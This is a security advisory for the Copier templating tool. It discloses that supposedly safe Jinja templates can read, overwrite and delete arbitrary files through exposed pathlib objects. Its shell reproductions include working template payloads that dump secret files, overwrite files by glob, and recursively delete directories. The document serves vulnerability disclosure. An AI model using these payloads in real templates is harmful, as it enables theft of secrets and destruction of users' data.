PYSEC-2026-1271 
### Impact

Copier's current security model shall restrict filesystem access through Jinja:

- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
- Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

#### Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.

Reproducible example:

- Read known file:

    ```shell
    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
    uvx copier copy src/ dst/
    cat dst/stolen-secret.txt
    ```

- Read unknown file(s) via globbing:

    ```shell
    mkdir secrets/
    echo "s3cr3t #1" > secrets/secret1.txt
    echo "s3cr3t #2" > secrets/secret2.txt
    mkdir src/
    cat <<'EOF' > src/stolen-secrets.txt.jinja
    stolen secrets:
    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
    {% for f in parent.glob('*.txt') %}
    {{ f }}: {{ f.read_text('utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat dst/stolen-secrets.txt
    ```

#### Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

- Overwrite known file:

    ```shell
    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
    uvx copier copy src/ dst/
    cat secret.txt
    ```

- Overwrite unknown file(s) via globbing:

    ```shell
    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.write_text('OVERWRITTEN', 'utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
    ```

- Delete unknown file(s) via globbing:

    ```shell
    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.unlink() }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
    ```

- Delete unknown files and directories via tree walking:

    ```shell
    mkdir data
    mkdir data/a
    mkdir data/a/b
    echo "foo" > data/foo.txt
    echo "bar" > data/a/bar.txt
    echo "baz" > data/a/b/baz.txt
    tree data/
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
    {% for root, dirs, files in parent.walk(top_down=False) %}
    {% for name in files %}
    {{ (root / name).unlink() }}
    {% endfor %}
    {% for name in dirs %}
    {{ (root / name).rmdir() }}
    {% endfor %}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    tree data/
    ```
CVSS v4.0 score: 8.5